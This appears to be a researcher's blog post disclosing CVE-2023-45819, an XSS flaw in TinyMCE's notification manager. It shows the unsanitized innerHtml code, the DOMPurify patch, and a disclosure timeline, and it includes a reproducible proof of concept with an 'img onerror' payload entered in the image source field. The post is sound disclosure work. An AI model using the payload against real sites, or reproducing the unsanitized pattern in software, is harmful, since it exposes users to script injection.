Not long ago, I discovered a cross-site scripting vulnerability affecting versions < 6.4.2 and <5.10.81 of TinyMCE.

Initially, I thought it was just a recreation of CVE-2022-23494. However, after further research, I concluded that it was a similar but separate issue (now classified as CVE-2023-45819).

TinyMCE


TinyMCE is a popular open-source WYSIWYG (What You See Is What You Get) rich-text editor used by more than 1.5 million developers2. It provides a user-friendly interface for creating and editing rich-text content on websites and web applications. It is highly customizable and supports a wide range of plugins.

Problem & Patch


The vulnerability exploits the fact that the notification manager API, which handles the creation of TinyMCE’s notifications, did not perform any sanitization or validation of user-supplied input. It was instead directly being inserted into the DOM:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const factory: UiSketcher.SingleSketchFactory<NotificationSketchDetail, NotificationSketchSpec> = (detail) => {
  // For using the alert banner as a standalone banner
  const memBannerText = Memento.record({
    dom: {
    tag: 'p',
    innerHtml: detail.translationProvider(detail.text)
    },
    behaviours: Behaviour.derive([
      Replacing.config({ })
    ])
  });

In the updated and patched versions of TinyMCE, the vulnerability has been mitigated by using DOMPurify to sanitize and remove any malicious elements or attributes in the user-supplied input before it is inserted into the DOM. Lines 4-7 in the above code snippet have been replaced with the following:

dom: DomFactory.fromHtml(`<p>${HtmlSanitizer.sanitizeHtmlString(detail.translationProvider(detail.text))}</p>`),

For more context, see the entire patch/commit here and the GH advisory here.

Proof of Concept


To replicate the vulnerability in one of the affected versions, follow these steps (this example is specific to version 5.10.7):

  1. Download and unzip a local copy of TinyMCE
wget https://download.tiny.cloud/tinymce/community/tinymce_5.10.7_dev.zip
unzip tinymce_5.10.7_dev.zip
  1. Create a file named poc.html and copy & paste the following into it3:
<!DOCTYPE html>
<html>
<head>
  <script src="tinymce/js/tinymce/tinymce.min.js"></script>
  <script type="text/javascript">
  tinymce.init({
    selector: 'textarea#file-picker',
    plugins: 'image code',
    toolbar: 'undo redo | link image | code',
    image_title: true,
    automatic_uploads: true,
    file_picker_types: 'image',
    file_picker_callback: function (cb, value, meta) {
      var input = document.createElement('input');
      input.setAttribute('type', 'file');
      input.setAttribute('accept', 'image/*');

      input.onchange = function () {
        var file = this.files[0];

        var reader = new FileReader();
        reader.onload = function () {
          var id = 'blobid' + (new Date()).getTime();
          var blobCache =  tinymce.activeEditor.editorUpload.blobCache;
          var base64 = reader.result.split(',')[1];
          var blobInfo = blobCache.create(id, file, base64);
          blobCache.add(blobInfo);
          cb(blobInfo.blobUri(), { title: file.name });
        };
        reader.readAsDataURL(file);
      };

      input.click();
    },
    content_style: 'body { font-family:Helvetica,Arial,sans-serif; font-size:14px }'
  });
  </script>
</head>
<body>
  <textarea id="file-picker"></textarea>
</body>
</html>
  1. Serve poc.html in a browser

  2. Click on the “Insert/edit image” button

  3. In “Source”, enter the following:

blob:<img src=x onerror=alert(tinymce.majorVersion+'.'+tinymce.minorVersion)>
  1. Click “Save” and observe that an alert box appears, indicating that the JavaScript was executed in the browser XSS

Disclosure Timeline


  • 2023-10-07 - Vulnerability reported
  • 2023-10-11 - Vulnerability confirmed
  • 2023-10-19 - Patch released
  • 2023-10-20 - CVE introduced

  1. Since the release of 6.4.2, notification errors are no longer displayed when the editor fails to retrieve blob image URIs4. As a result, the PoC I provide in this blog post is specific to versions < 6.4.2 and < 5.10.8. However, the vulnerability as a whole affects versions >= 6.0.0 < 6.7.1 and < 5.10.8↩︎

  2. https://www.tiny.cloud/blog/tinymce-free-wysiwyg-html-editor ↩︎

  3. Sample code taken from TinyMCE Docs ↩︎

  4. https://www.tiny.cloud/docs/tinymce/6/changelog/#fixed-8↩︎